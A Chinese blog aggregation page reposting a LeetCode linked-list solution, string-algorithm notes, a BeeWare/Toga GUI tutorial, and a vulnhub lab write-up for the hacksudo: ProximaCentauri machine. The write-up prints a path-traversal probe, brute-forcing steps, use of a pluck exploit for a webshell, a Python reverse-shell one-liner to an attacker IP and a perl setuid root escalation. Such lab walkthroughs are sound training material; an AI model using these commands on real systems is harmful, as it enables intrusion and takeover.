首页
烟花
归档
随笔
聚合
部落格精华
部落格资讯
CSS教程
CSS3教程
HTML教程
HTML5教程
建站经验
网站优化
资讯
今日早报
资讯日历
科技新闻
今天
罗盘
网盘
友链
留言
1
「今日早报」 2026年6月7日, 农历四月廿二, 星期日
2
「今日早报」 2026年6月6日, 农历四月廿一, 星期六
3
「今日早报」 2026年5月16日, 农历三月卅十, 星期六
4
「今日早报」 2026年5月15日, 农历三月廿九, 星期五
5
「今日早报」 2026年5月14日, 农历三月廿八, 星期四
沙漠渔
把過去的累積,善用到當下
累计撰写
2,789
篇文章
累计创建
385
个标签
累计收到
997
条评论
栏目
首页
烟花
归档
随笔
聚合
部落格精华
部落格资讯
CSS教程
CSS3教程
HTML教程
HTML5教程
建站经验
网站优化
资讯
今日早报
资讯日历
科技新闻
今天
罗盘
网盘
友链
留言
搜索
标签搜索
代理服务
winsw
override
VMware
api
popai
拉取镜像
人工智能
copilot
chatgpt
openai
coze
objdump
ldd
日志
版本
latest
批处理
bat
节能模式
iwconfig
排序
du
设计模式
hostname
面板
cockpit
版本不兼容
npm
统计
烟花
新春
leveldb
Java heap space
堆内存
harbor
utf8mb4
网络聚合
IPV6
nmtui
测速
带宽
千兆
路由器
nmcli
nmlci
orangepi
motd
中文乱码
webdav
香橙派
代码折叠
享元模式
单例模式
解锁
锁定
无法安装
Xshell
并发编程
ScheduledThreadPoolExecutor
ThreadPoolExecutor
线程池
Fock-Join
并发
ExecutorService
nextcloud
alist
panic
hung task
时间戳
ping
tail
dd
嵌入式
点灯
mount
共享
NFS
curl
全屏
ChannelOption
C++
comparator
桥头堡
开源
varchar
char
StringBuilder
StringBuffer
String
命令行工具
网络配置
netsh
建议
专家
离谱
2022
设备管理器
虚拟网卡
环回适配器
安全
攻击
CC
DDOS
跳槽
过年
年假
春节
2023
优站计划
鼻塞
咳嗽
大号流感
阳
新冠病毒
循环冗余校验
CRC-16/XMODEM
crc校验
stream
DMZ主机
域名解析
CDN
七牛云
DDNS
类加载器
双亲委派
加载机制
删除
搜索
变化时间
修改时间
访问时间
响应异常
超时
jsoup
用法详解
压缩命令
打包压缩
zip
优缺点
打包
数据压缩
密码
sudoers
索引量
权重
瞬间
魔鬼洞
沙漠鱼
沙漠渔
面试
引用传递
值传递
即时编译器
机器码
JIT
旗舰版
ISO
原版镜像
win7
参数
配置文件
8小时
时间错误
报告
coverity
jetbrains
idea
谷歌翻译
rest
403
ERR_UNKNOWN_URL_SCHEME
DevTools
优先级
location
FTP
挂载
curlftpfs
提示
自定义参数
springboot
配置
死锁
超级密码
桥接
联通光猫
Dockerfile
构建
命令行
eclipse
光猫
路由模式
桥接模式
bash-4.2
sudo
oracle帐号
JDK下载
百度收录
定时发布
哨兵模式
内存管理
JVM
登录
免密
不一致
服务器时间
BIO,NIO,AIO
ByteBuffer
FileWriter
BufferedOutputStream
流水线
pipeline
环境变量
重启
任务消失
jenkins
卸载
snap
20.04
Ubuntu
容器
大数据传输
InputStream
学习笔记
CSS
最佳实践
DOM操作
原型链
原型
No such file or Directory
SSH配置
SSH免密
tar
命令
网站优化
取消快照
百度快照
全局配置
修改密码
控制台
gitlab
解码器
Netty
文件传输
sz
rz
Jar
打铁花
羊毛沟
容器日志
docker
规范
博客
rejected
Gerrit
wireshark
代理
Go
http-server
nodejs
package-lock.json
996加班
删除标签
钟薛高
60s新闻接口
每日新闻接口
百度福利
自动回复
localstorage
QQ机器人
redis
近乎
客户端
JuiceSSH
乔恩
加菲猫
新浪邮箱
joe
公告
父亲节
图标
每日新闻
51la
服务器
腾讯云
插件
罗永浩
编码
avatar
小虎墩大英雄
端午劫
端午节
中石化
中国石化
儿童节
win10
激活
shell
金门大桥
旧金山
产品经理
免疫力
熬夜
云旅游
云游
招聘
海尔
halo
校友会
创新
哈工大
鸿蒙
王成录
标题
主题
北京
疫情
域名
沙漠渔溏
方法声明
jpa
表情包
emoji
JavaAgent
姓名测试
姓名打分
起名
百度
收录
SEO
group by
distinct
去重
JDBC
validationQuery
兄弟元素
点击事件
$event
9600
传输延时
波特率
串口
站点统计
站长工具
cnzz
生命周期
refs
vue
replaceAll
replace
JavaScript
软件
FRP
内网外入
内网穿透
学习
解题
leetcode
云计算
中国医药
神思电子
股票
Java
报错
数据块
关键词
风筝
清明节
注解
spring
clang-format
格式化
反向代理
nginx
索引
linux
vim
数据库
仓库管理
git
压缩
winrar
mysql
测试
markdown
目 录
CONTENT
以下是
网络聚合
相关的文章
2024-01-19
【LeetCode链表#9】图解:两两交换链表节点
两两交换链表中的节点 力扣题目链接(opens new window) 给定一个链表,两两交换其中相邻的节点,并返回交换后的链表。 你不能只是单纯的改变节点内部的值,而是需要实际的进行节点交换。 思路 这里还是要应用虚拟头节点,不然交换链表头节点的操作会与交换其他节点时不同 交换的过程其实不难理解,但是代码实现过程需要注意很多细节 下面是交换过程的图解 首先,定义一个虚拟头节点 并让当前指针cur指向dummy head【注意:cur一定要在需要操作的两个节点之前】 然后按途中顺序将对应节点的next指好即可 注意:虽然画图我们很好理解,但是在操作过程中有很多细分步骤,如果直接上手写代码会很困惑 例如,当dummy指向节点2(也就是cur.next.next)后,dummy与原来的节点1就断开连接了 此时再想通过cur去寻找到节点1(cur.next)就行不通了,进而节点2也就无法指向节点1,步骤②无法继续进行 与翻转链表时类似,我们需要一个临时节点temp先去保存节点1 让节点2通过指向temp的方式找到节点1 ps:为什么不存节点2?因为步骤①之后节点2就已经是cur.next了,而dummy是不会变的,所以怎么都能找到节点2 当节点2指向temp(储存有cur.next)后,节点2与原来的节点3就断开连接了 同理,我们应该把节点3也用临时节点保存,这里用temp1保存 于是节点2指向节点3的过程就变成了: temp1是节点3的备份,它后面还是和节点4连着,所以不用担心找不到节点4 至此,节点1与节点2完成了交换,cur移动到cur.next.next(即交换后此处为节点1,是什么节点并不重要,反正待会交换的又不是当前cur指向的节点,而是后两个节点),展开后的结果如下: 链表节点数为奇数时,结束条件:cur.next.next = null 链表节点数为偶数时,结束条件:cur.next = null 代码 思路通过画图可以很好理解,但是代码实现又有很多坑 class Solution { public ListNode swapPairs(ListNode head) { //定义虚拟头节点 ListNode dummy = new ListNode(0); dummy.next = head;//虚拟头节点指向head ListNode cur = dummy; //定义临时节点用于保存节点1、3 ListNode temp; ListNode temp1; //遍历链表 //注意这里的结束条件,链表节点数为奇偶情况下是不同的 //需要先验证cur.next再验证cur.next.next //要不然如果是偶数个节点你先验cur.next.next直接就空指针异常了 while(cur.next != null && cur.next.next != null ){ //这里下意识肯定就想开始交换了,但如果不先保存节点就会出现空指针异常 temp = cur.next; temp1 = cur.next.next.next; cur.next = cur.next.next;//dummy换2 cur.next.next = temp;//2换1 cur.next.next.next = temp1;//1换3 cur = cur.next.next;//移动cur至新的待交换的两个节点前 } //遍历结束,返回dummy的下一个节点即可 return dummy.next; } } 易错点: 1、创建完dummy后记得指向head 2、交换过程中要以cur为参照点来表示参与交换的节点,不要变,例如1换3时不能写成 `temp.next = temp1;
2024-01-19
244
0
0
网络聚合
2024-01-19
vulnhub靶场之HACKSUDO: PROXIMACENTAURI
准备: 攻击机:虚拟机kali、本机win10。 靶机:hacksudo: ProximaCentauri,下载地址:https://download.vulnhub.com/hacksudo/hacksudo-ProximaCentauri.zip,下载后直接vbox打开即可。 知识点:perl提权、pluck 框架漏洞、端口敲门、密码爆破、敏感文件发现。 信息收集: 扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.5.2126,显示开放了80端口,开启了http服务并且存在robots.txt文件以及两个目录信息。 访问下web服务,跳转到:http://192.168.5.126/?file=hacksudo-proxima-centauri,猜测存在文件包含漏洞,进行测试:http://192.168.5.126/?file=../../../../../../../etc/passwd,但是存在检测,被拦截了。 目录扫描: 使用gobuster进行目录扫描,发现flag1.txt文件、data文件夹、files文件夹等信息。 访问:http://192.168.5.126/flag1.txt获得flag1.txt信息。 访问login.php页面发现框架的版本信息:pluck 4.7.13,顺便尝试了下弱口令、注入,但是均测试失败。 搜索下pluck 4.7.13的漏洞信息:searchsploit pluck,发现存在一个文件上传进行命令执行的漏洞,但是查看了下该漏洞利用方式是需要admin权限的。 访问:http://192.168.5.126/planet时,发现travel目录,在travel目中检查源代码时发现提示信息,告诉我们要获取一个坐标并且RA是开启,DEC是关闭。 <!--- here you can open portal and travel to proxima,the co-ordinate is? RA for open,Dec for close The proxima blackwhole portal......get co-ordinate from https://g.co/kgs/F9Lb6b --!> 访问下半人马座的坐标信息,获得:RA 14 29 43。 端口敲门和密码爆破: 使用命令:knock 192.168.5.126 14 29 43进行端口敲门,然后再次使用nmap对靶场进行端口扫描,命令:nmap -T4 -sV -p- -A 192.168.5.126,发现ssh服务。 尝试使用ssh服务进行了连接,发现给出了一个字典:https://github.com/hacksudo/fog-hacksudo/blob/main/blackhole.lst,猜测是密码。 使用bp抓取登录的数据包:http://192.168.5.126/login.php,使用获得字典进行爆破,成功获得密码:hacktheplanet。 框架漏洞获取shell: 这里想到上面提到的框架:pluck 4.7.13的漏洞,该漏洞需要使用管理员权限,那我们现在有了密码不就是管理员了,根据该exp的利用方式获取shell权限,命令:python 49909.py 192.168.5.153 80 hacktheplanet ""。(这里因为电脑重启了一次,靶机ip和kali的ip均发生了改变)。 访问返回的地址:http://192.168.5.153:80/files/shell.phar,获得一个命令执行窗口。 使用python反弹下shell,python反弹脚本可以在这里生成:https://www.revshells.com/。 python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.5.150",6688));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")' 多级目录获取shell: 对二级目录进行了扫描,最后在/data/trash/files目录下发现shell.phar文件,访问该文件获取了一个shell(同上面),这里不在赘述。 提权-proxima: 在/home目录下发现用户名称:alfa、centauri、proxima,想着用原来的密码字典进行爆破,但是失败。 在/var目录下发现一个备份文件:backups,在该文件中发现mysql.bak文件,读取该文件获取到数据库名称、账号和密码信息:proximacentauri、alfauser/passw0rd。 使用获得数据库信息,连接数据库,命令:mysql -h 127.0.0.1 -ualfauser -ppassw0rd,切换成我们发现的数据库,读取数据库内信息,发现一组账户和密码信息:proxima/alfacentauri123。 使用获得的账户信息:proxima/alfacentauri123,进行ssh连接,成功提权至proxima。并在当前目录下发现user.txt文件,读取该文件成功获得flag值。 提权: 查看下当前账户是否存在可以使用的特权命令,sudo -l,发现无法执行sudo权限。 通过:find / -perm -4000 -type f 2>/dev/null来查找可疑文件进行提权,但是未发现可以进行提权的文件。 上传LinEnum.sh脚本进行信息收集或者getcap -r / 2>/dev/null命令也可以发现,发现一个:cap_setuid+ep。 查找下perl的提权方式,执行命令:/home/proxima/proximaCentauriA/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";',进行提权,成功获得root权限。 获得root权限后在/root目录下发现root.txt文件,读取该文件成功获得flag值。
2024-01-19
300
0
0
网络聚合
2024-01-19
代码随想录-day3
字符串 字符串的题目,通常涉及到对字符串进行各种操作,由于JAVA提供了非常多的库函数,所以在很多题目中我们可以使用库函数快速使这道题解决,但是这与我们训练算法和编码能力相违背。 所以我们在本章专题里面,主要是使用我们自己构造的函数对字符串进行,操作加深我们对字符串操作的理解,当我们训练熟悉后可以使用库函数直接执行。 344.反转字符串 题意:编写一个函数,其作用是将输入的字符串反转过来。输入字符串以字符数组 char[] 的形式给出。 不要给另外的数组分配额外的空间,你必须原地修改输入数组、使用 O(1) 的额外空间解决这一问题。 你可以假设数组中的所有字符都是 ASCII 码表中的可打印字符。 示例 1: 输入:["h","e","l","l","o"] 输出:["o","l","l","e","h"] 示例 2: 输入:["H","a","n","n","a","h"] 输出:["h","a","n","n","a","H"] 思路 在此我们考虑不使用额外空间的一种做法,我们可以使用一个在头,一个在尾部的双指针对字符串做一个反转。 每次双指针所指向的字符进行交换,当两个指针穿越的时候就表示已经处理完整个字符串。 代码 class Solution { public void reverseString(char[] s) { int n = s.length; int l = 0, r = n - 1; while (l < r) { swap(s, l, r); l ++; r --; } } public void swap(char[] s, int i, int j) { if (i == j) return ; // 如果没有这行当交换相同元素时结果会是0 s[i] ^= s[j]; s[j] ^= s[i]; s[i] ^= s[j]; } } 541. 反转字符串II 题意:给定一个字符串 s 和一个整数 k,从字符串开头算起, 每计数至 2k 个字符,就反转这 2k 个字符中的前 k 个字符。 如果剩余字符少于 k 个,则将剩余字符全部反转。 如果剩余字符小于 2k 但大于或等于 k 个,则反转前 k 个字符,其余字符保持原样。 示例: 输入: s = "abcdefg", k = 2 输出: "bacdfeg" 思路 本题逻辑并不能,但是存在多种情况,导致在编写代码的可能有多个if-else,并且对某个特点的情况存在遗漏。 为了解决这个问题,我们可以每次移动2k个区间,如何判断是否有要翻转的区间。 代码 class Solution { public String reverseStr(String s, int k) { char[] ca = s.toCharArray(); int n = ca.length; for (int i = 0; i < n; i += 2 * k) { if (i + k <= n) { // 剩余区间大于等于k reverse(ca, i, i + k - 1); continue; } reverse(ca, i, n - 1); // 剩余区间小于k } return new String(ca); } public void reverse(char[] s, int start, int end) { for (int i = start, j = end; i < j; i ++, j --) { char temp = s[i]; s[i] = s[j]; s[j] = temp; } } } 剑指Offer 05.替换空格 题意:请实现一个函数,把字符串 s 中的每个空格替换成"%20"。 示例 1: 输入:s = "We are happy." 输出:"We%20are%20happy." 思路 如果不限制使用O(1)的空间,我们可以直接使用一个StringBuilder进行操作,这样的代码不能直接写成,在此我们继续讨论限制O(1)的空间复杂度进行操作。 我们可以先对字符串进行扩充,然后从后向前遍历。我们不在前面进行扩充的原因:如果在前面扩充,如果我们要添加一个元素,就得把一个元素往后移动,这样我们每次操作的时间复杂度就为O(n2) 其实很多数组填充类的问题,都可以先预先给数组扩容带填充后的大小,然后在从后向前进行操作。 ——代码随想录 我们设置两个指针一个i指向原字符串的末尾,一个j指向扩充后的末尾,如果此时s[i] != ' ',我们把s[j] = s[i]。反之我们把空格替换为%20,j再往后移动2位。 代码 class Solution { public String replaceSpace(String s) { if (s == null || s.length() == 0) return s; // 空字符串跳过 StringBuilder sb = new StringBuilder(); for (int i = 0; i < s.length(); i ++ ) { if (s.charAt(i) == ' ') sb.append(" "); } if (sb.length() == 0) return s; // 没有空格 int oldSize = s.length(); s += sb.toString(); int newSize = s.length(); char[] ca = s.toCharArray(); for (int i = oldSize - 1, j = newSize - 1; i < j; i --, j --) { if (ca[i] != ' ') { ca[j] = ca[i]; } else { ca[j] = '0'; ca[j - 1] = '2'; ca[j - 2] = '%'; j -= 2; } } return new String(ca); } } 151.翻转字符串里的单词 题意:给定一个字符串,逐个翻转字符串中的每个单词。 示例 1: 输入: "the sky is blue" 输出: "blue is sky the" 示例 2: 输入: " hello world! " 输出: "world! hello" 解释: 输入字符串可以在前面或者后面包含多余的空格,但是反转后的字符不能包括。 示例 3: 输入: "a good example" 输出: "example good a" 解释: 如果两个单词间有多余的空格,将反转后单词间的空格减少到只含一个。 思路 在之前,我们已经通过自己实现的reverse()对字符串进行了翻转,本题在之前翻转字符串的问题的基础上进行了扩展,我们要去掉字符串前后多余的空格和单词之前多余的空格。 值得注意的是,每个单词之间必须保留一个空格。然后在此基础上我们先翻转整个字符串,再翻转每个单词即可。 本题的重难点其实不在翻转,而是在去除空格。我们采用与之前“移除元素”那题的逻辑书写一个函数去除空格。 public char[] removeExtraSpaces(char[] s) { int slow = 0; // 表示处理完的字符串的末尾 for (int fast = 0; fast < s.length; fast ++ ) { if (s[fast] != ' ') { if (slow != 0) s[slow ++] = ' '; // 如果不是第一个单词就先在前面加一个空格先 while (fast < s.length && s[fast] != ' ') { s[slow ++] = s[fast ++]; } } } char[] newChars = new char[slow]; System.arraycopy(s, 0, newChars, 0, slow); // 重设大小后拷贝 return newChars; } 代码 class Solution { public String reverseWords(String s) { char[] ca = s.toCharArray(); ca = removeExtraSpaces(ca); reverse(ca, 0, ca.length - 1); for (int i = 0, j = 0; i <= ca.length; i ++ ) { if (i == ca.length || ca[i] == ' ') { // 先特判最后一个单词 reverse(ca, j , i - 1); j = i + 1; // j重新指向下一个单词的开头 } } return new String(ca); } public void reverse(char[] s, int i, int j) { while (i < j) { s[i] ^= s[j]; s[j] ^= s[i]; s[i] ^= s[j]; i ++; j --; } } public char[] removeExtraSpaces(char[] s) { int slow = 0; for (int fast = 0; fast < s.length; fast ++ ) { if (s[fast] != ' ') { if (slow != 0) s[slow ++] = ' '; // 如果不是第一个单词就先在前面加一个空格先 while (fast < s.length && s[fast] != ' ') { s[slow ++] = s[fast ++]; } } } char[] newChars = new char[slow]; System.arraycopy(s, 0, newChars, 0, slow); return newChars; } } 剑指Offer58-II.左旋转字符串 题意:字符串的左旋转操作是把字符串前面的若干个字符转移到字符串的尾部。请定义一个函数实现字符串左旋转操作的功能。比如,输入字符串"abcdefg"和数字2,该函数将返回左旋转两位得到的结果"cdefgab"。 示例 1: 输入: s = "abcdefg", k = 2 输出: "cdefgab" 示例 2: 输入: s = "lrloseumgh", k = 6 输出: "umghlrlose" 限制: 1 <= k < s.length <= 10000 思路 在本题中我们还是利用整体-局部翻转的方法来实现左旋转字符串的操作,通过简单的模拟我们不难得出:我们可以先翻转前k个字符串,再翻转剩下的字符,最后整体翻转即可实现左旋转的效果。 代码 class Solution { public String reverseLeftWords(String s, int n) { char[] ca = s.toCharArray(); reverse(ca, 0, n - 1); reverse(ca, n, ca.length - 1); reverse(ca, 0, ca.length - 1); return new String(ca); } public void reverse(char[] s, int i, int j) { while (i < j) { s[i] ^= s[j]; s[j] ^= s[i]; s[i] ^= s[j]; i ++; j --; } } } 28. 找出字符串中第一个匹配项的下标 题意:给定一个 haystack 字符串和一个 needle 字符串,在 haystack 字符串中找出 needle 字符串出现的第一个位置 (从0开始)。如果不存在,则返回 -1。 示例 1: 输入: haystack = "hello", needle = "ll" 输出: 2 示例 2: 输入: haystack = "aaaaa", needle = "bba" 输出: -1 说明: 当 needle 是空字符串时,我们应当返回什么值呢?这是一个在面试中很好的问题。 对于本题而言,当 needle 是空字符串时我们应当返回 0 。这与C语言的 strstr() 以及 Java的 indexOf() 定义相符。 思路 本题是一道经典的KMP,KMP是为了快速找到一个字符串是否是另一个字符串的子串。为了实现KMP算法,我们必须要求一个前缀表,即next数组。
2024-01-19
206
0
0
网络聚合
2024-01-19
python Gui编程工具详解:beeware
各个gui开发工具对比 Flexx: 可以使用Flexx创建桌面应用程序和web应用程序,同时可以将程序导出到独立的HTML文档中,GitHub推荐 Kivy&BeeWare: 只需编写一套代码便可轻松运行于各大移动平台和桌面上,像Android,iOS,Linux,OS X和Windows,https://blog.csdn.net/ZNJIAYOUYA/article/details/126553693,两者各有特别,kivy更灵活,后者兼容性好 Pyforms: 旨在提高开发效率,用于开发可以在Windows GUI模式、Web模式或终端模式下执行的应用程序 PyQt: 目前最强大的库之一,可以使用Python做任何C++能做的事 PyAutoGUI: 利用它可以实现所有GUI自动化,无需机械性操作 wxPython: wxPython具有非常优秀的跨平台能力,可以在不修改程序的情况下在多种平台上运行 为啥选择beeware 1.支持跨平台开发 2.相对Kivy更简单,兼容性更好,kivy灵活性更高,所以建议结合实际情况选择 beeware官方教程:https://docs.beeware.org/en/latest/tutorial/tutorial-0.html 中文文档:https://github.com/xianchengyue/Beeware-- 搭建步骤 1.设置虚拟环境 1.mkdir beeware-tutorial 2.python3 -m venv beeware-venv #创建虚拟环境 3.source beeware-venv/bin/activate (windows:使用git bash工具执行) #切换至虚拟环境 4.beeware-venv\Scripts\activate.bat (windows:cmd执行)#切换至虚拟环境 2.创建第一个应用 1.安装briefcase: pip install briefcase 2.新建项目:briefcase new ,之后的内容按需填写即可,Pyproject.toml 文件描述了如何对应用程序进行打包以便发行 3.在开发者模式下运行应用程序: cd project_dir && briefcase dev 4.项目结构说明:__init__.py:标记项目目录是一个python包,__main__.py 将项目目录标记为一个特殊的可执行模块,app.py:创建app窗口的逻辑 打包以便发布 1.创建应用程序脚手架: briefcase create 2.搭建应用程序: 编译:briefcase build 3.运行app: briefcase run 4.搭建安装包: macos: briefcase package --no-sign;Linux&Windows:briefcase package,详细说明:https://briefcase.readthedocs.io/en/latest/how-to/code-signing/macOS.html 更新app 1.briefcase dev: 每次执行都能看到修改后最新的效果 2.briefcase run:则不会,需要先执行:briefcase update,然后在执行briefcase run,最后使用briefcase package 命令重新打包app 以便分发 3.macOS 的用户记住在第三章中提到的使用 briefcase package 命令时带上 --no-sign 标志避免设置代码签名标识的复杂工作并使教程尽可能简单 4.一步更新和运行: briefcase run -u,会自动触发更新,重新打包:briefcase package -u 使之成为移动 app 1.IOS: 1.安装xcode 2.briefcase create iOS #创建app 3.briefcase build iOS #编译 4.briefcase run iOS ,运行时指定设备名称&选择特定版本的iOS,-d "设备名称::ios 版本号",使用特定设备的UDID名称: -d 4768AA69-497B-4B37-BD0C-3961756C38AC 2.安卓 1.MacOs&Liunx&windows: briefcase create android ,首次执行会比较慢,会自动下载java jdk与安装sdk #创建app 2.briefcase build android ,Gradle可能停止工作:将会打印CONFIGURING:100%,但看起来什么事也没做,此时它在下载更多安卓SDK组件 #编译app 4.模拟设备上运行app: 1.briefcase run android ,执行此命令会提示你可运行app的设备清单,最后一个选项始终是创建一个新的安卓模拟器 #运行app 2.如果模拟器没启动: 执行briefcase run检查一下终端找到错误信息 3.如果你想不使用菜单在设备上运行app: briefcase run android -d @beePhone 5.实体设备上运行app: 1.启用开发者选项;2.启用USB调试;3.briefcase run android,直接运行:briefcase run android -d 设备标识号 2.我的设备没有出现: 要么你没有启动 USB 调试,要么设备根本没插进去 3.显示为“未知设备(不是未授权开发): 1.重新启用开发者模式;2.然后重新运行 briefcase run android 命令 开始使用第三方库 1.访问 API:使用jsonplaceholder(https://jsonplaceholder.typicode.com)作为数据源 2.安装第三库,例如:pip install httpx 3.briefcase dev #本地运行 4.briefcase update : 更新app代码 5.briefcase build : 编译app 6.briefcase run : 运行app 7.启动时提示module not found: 1.修改app全局依赖: key:[tool.briefcase.app.appname] 1.修改pyproject.toml,修改requires,将依赖添加至requires 2.添加时可以指定版本与版本范围,例如:httpx==0.19.0,httpx>=0.19 3.指定克隆仓库的路径: 如"git+https://github.com/encode/httpx" 2.修改指定平台的依赖: key:[tool.briefcase.app.appname.macOS、windows、linux、iOS、web、android] 1.修改pyproject.toml,修改requires,将依赖添加至requires 8.Python只在移动端: 1.在桌面平台: 任何pip能安装的都可以被添加到你的需求中 2.在移动平台: 只能使用纯Python包及包中不能包含二进制模块,numpy、scikit-learn、cryptography等不能在移动平台上使用 9. briefcase update -d #更新依赖 10.briefcase build #编译 11. briefcase run # 运行 让app运行更流畅 1.GUI事件循环: 当app正在处理一个事件,不能重绘也不能处理其他事件 2.异步编程: 使用 async 和 await 关键字实现 3.制作异步教程   测试app 1.briefcase dev -r #自动检查依赖安装情况 2.briefcase dev --test #执行测试 3.test_app.py #编写测试用例 4.briefcase run --test -r #运行时测试 5.briefcase run iOS --test、 briefcase run android --test #指定平台运行测试用例 实战:开始撸代码 项目配置文件详解 1.https://briefcase.readthedocs.io/en/latest/reference/index.html Toga小部件工具详解 1.https://toga.readthedocs.io/en/latest/tutorial/index.html 2.安装toga依赖: pip install toga 1.编写应用程序 1.代码示例: import toga def button_handler(widget): print("hello") def build(app): box = toga.Box() button = toga.Button("Hello world", on_press=button_handler) button.style.padding = 50 button.style.flex = 1 box.add(button) return box def main(): return toga.App("First App", "org.beeware.helloworld", startup=build) if name == "main": main().main_loop() 2.细节介绍 1.button_handler方法:widget参数,该函数将激活的小部件作为第一个参数 2.build方法: app参数,为toga.app实例,用于自定义app启动的方法 3.toga.Box: 盒子是一个对象,可用于容纳多个小部件,并定义小部件周围的填充 4.toga.Button: 定义一个按钮,参数1:按钮的展示名称;2.on_press:点击按钮后触发的行为(函数对象) 5.button.style: 定义按钮在窗口中的显示方式,默认情况下,Toga 使用一种名为 的样式算法Pack,有点像“CSS-lite” 1.button.style.padding = 50 #按钮的所有边都有 50 像素的填充 2.padding_top = 20 padding = (20, 50, 50, 50) #在按钮顶部定义20像素的填充 3.button.style.flex = 1 #使按钮占据所有可用宽度 6.box.add(button): 将按钮添加到框中 7.return box: 返回包含所有 UI 内容的外部盒子,此框将是应用程序主窗口的内容 故障排除 1.建议首先创建一个虚拟环境 2.Toga 有一些最低要求: 如果您使用的是 macOS,则需要使用 10.10 (Yosemite) 或更高版本。 如果您使用的是 Linux,则需要 GTK+ 3.10 或更新版本。这是从 Ubuntu 14.04 和 Fedora 20 开始发布的版本。 如果您使用的是 Windows,则需要安装 Windows 10 或更新版本。 3.运行脚本: cd 项目/src && python -m 项目名称 2.来写一个更复杂一点的页面:华氏度到摄氏度转换器 代码示例 import toga from toga.style.pack import COLUMN, LEFT, RIGHT, ROW, Pack def build(app): c_box = toga.Box() f_box = toga.Box() box = toga.Box() c_input = toga.TextInput(readonly=True) f_input = toga.TextInput() c_label = toga.Label("Celsius", style=Pack(text_align=LEFT)) f_label = toga.Label("Fahrenheit", style=Pack(text_align=LEFT)) join_label = toga.Label("is equivalent to", style=Pack(text_align=RIGHT)) def calculate(widget): try: c_input.value = (float(f_input.value) - 32.0) * 5.0 / 9.0 except ValueError: c_input.value = "???" button = toga.Button("Calculate", on_press=calculate) f_box.add(f_input) f_box.add(f_label) c_box.add(join_label) c_box.add(c_input) c_box.add(c_label) box.add(f_box) box.add(c_box) box.add(button) box.style.update(direction=COLUMN, padding=10) f_box.style.update(direction=ROW, padding=5) c_box.style.update(direction=ROW, padding=5) c_input.style.update(flex=1) f_input.style.update(flex=1, padding_left=160) c_label.style.update(width=100, padding_left=10) f_label.style.update(width=100, padding_left=10) join_label.style.update(width=150, padding_right=10) button.style.update(padding=15) return box def main(): return toga.App("Temperature Converter", "org.beeware.f_to_c", startup=build) if name == "main": main().main_loop() 详细说明 1.此示例展示了 Toga 的 Pack 风格引擎的更多功能。在这个示例应用程序中,我们设置了一个垂直堆叠的外框;在那个盒子里,我们放了 2 个水平盒子和一个按钮。 2.由于水平框上没有宽度样式,它们将尝试将它们包含的小部件放入可用空间。 3.小TextInput 部件的样式为flex=1,但是Label小部件的宽度是固定的; 4.结果,TextInput小部件将被拉伸以适应可用的水平空间。然后,边距和填充项确保小部件将垂直和水平对齐。 5.toga.TextInput: 定义一个文本输入框,readonly=True:设置为不可编辑 6.toga.Label: 定义表头,text_align:文字对齐方式,LEFT:居左,RIGHT:居右 7.box.style: 定义按钮在窗口中的显示方式,默认情况下,Toga 使用一种名为 的样式算法Pack,有点像“CSS-lite” 1.box.style.padding = 50 #按钮的所有边都有 50 像素的填充 2.padding = (20, 50, 50, 50) #在按钮顶部定义20像素的填充 3.box.style.flex = 1 #使按钮占据所有可用宽度 4.box.style.update: 更新页面布局,direction:指定方向 5.box、button、input、label均可设置style 把盒子放在另一个盒子里:涉及布局、滚动条和其他容器内的容器 代码示例 import toga from toga.style.pack import COLUMN, Pack def button_handler(widget): print("button handler") for i in range(0, 10): print("hello", i) yield 1 print("done", i) def action0(widget): print("action 0") def action1(widget): print("action 1") def action2(widget): print("action 2") def action3(widget): print("action 3") def action5(widget): print("action 5") def action6(widget): print("action 6") def build(app): brutus_icon = "icons/brutus" cricket_icon = "icons/cricket-72.png" data = [("root%s" % i, "value %s" % i) for i in range(1, 100)] left_container = toga.Table(headings=["Hello", "World"], data=data) right_content = toga.Box(style=Pack(direction=COLUMN, padding_top=50)) for b in range(0, 10): right_content.add( toga.Button( "Hello world %s" % b, on_press=button_handler, style=Pack(width=200, padding=20), ) ) right_container = toga.ScrollContainer(horizontal=False) right_container.content = right_content split = toga.SplitContainer() # The content of the split container can be specified as a simple list: # split.content = [left_container, right_container] # but you can also specify "weight" with each content item, which will # set an initial size of the columns to make a "heavy" column wider than # a narrower one. In this example, the right container will be twice # as wide as the left one. split.content = [(left_container, 1), (right_container, 2)] # Create a "Things" menu group to contain some of the commands. # No explicit ordering is provided on the group, so it will appear # after application-level menus, but *before* the Command group. # Items in the Things group are not explicitly ordered either, so they # will default to alphabetical ordering within the group. things = toga.Group("Things") cmd0 = toga.Command( action0, text="Action 0", tooltip="Perform action 0", icon=brutus_icon, group=things, ) cmd1 = toga.Command( action1, text="Action 1", tooltip="Perform action 1", icon=brutus_icon, group=things, ) cmd2 = toga.Command( action2, text="Action 2", tooltip="Perform action 2", icon=toga.Icon.TOGA_ICON, group=things, ) # Commands without an explicit group end up in the "Commands" group. # The items have an explicit ordering that overrides the default # alphabetical ordering cmd3 = toga.Command( action3, text="Action 3", tooltip="Perform action 3", shortcut=toga.Key.MOD_1 + "k", icon=cricket_icon, order=3, ) # Define a submenu inside the Commands group. # The submenu group has an order that places it in the parent menu. # The items have an explicit ordering that overrides the default # alphabetical ordering. sub_menu = toga.Group("Sub Menu", parent=toga.Group.COMMANDS, order=2) cmd5 = toga.Command( action5, text="Action 5", tooltip="Perform action 5", order=2, group=sub_menu ) cmd6 = toga.Command( action6, text="Action 6", tooltip="Perform action 6", order=1, group=sub_menu ) def action4(widget): print("CALLING Action 4") cmd3.enabled = not cmd3.enabled cmd4 = toga.Command( action4, text="Action 4", tooltip="Perform action 4", icon=brutus_icon, order=1 ) # The order in which commands are added to the app or the toolbar won't # alter anything. Ordering is defined by the command definitions. app.commands.add(cmd1, cmd0, cmd6, cmd4, cmd5, cmd3) app.main_window.toolbar.add(cmd1, cmd3, cmd2, cmd4) return split 详细说明 注意: 为了呈现图标,您需要将图标文件夹移动到与应用程序文件相同的目录中。 1.toga.Table: 定义一个表格,参数详细说明: 1.headings(表头)=["Hello", "World","desc"], data(内容)=data 2.id:唯一标识符;3.style:指定样式 3.accessors:访问器,multiple_select:支持多选框, 4.on_select:提供的回调函数必须接受两个参数表(obj:“表”)和行(' '行' '或' '没有' 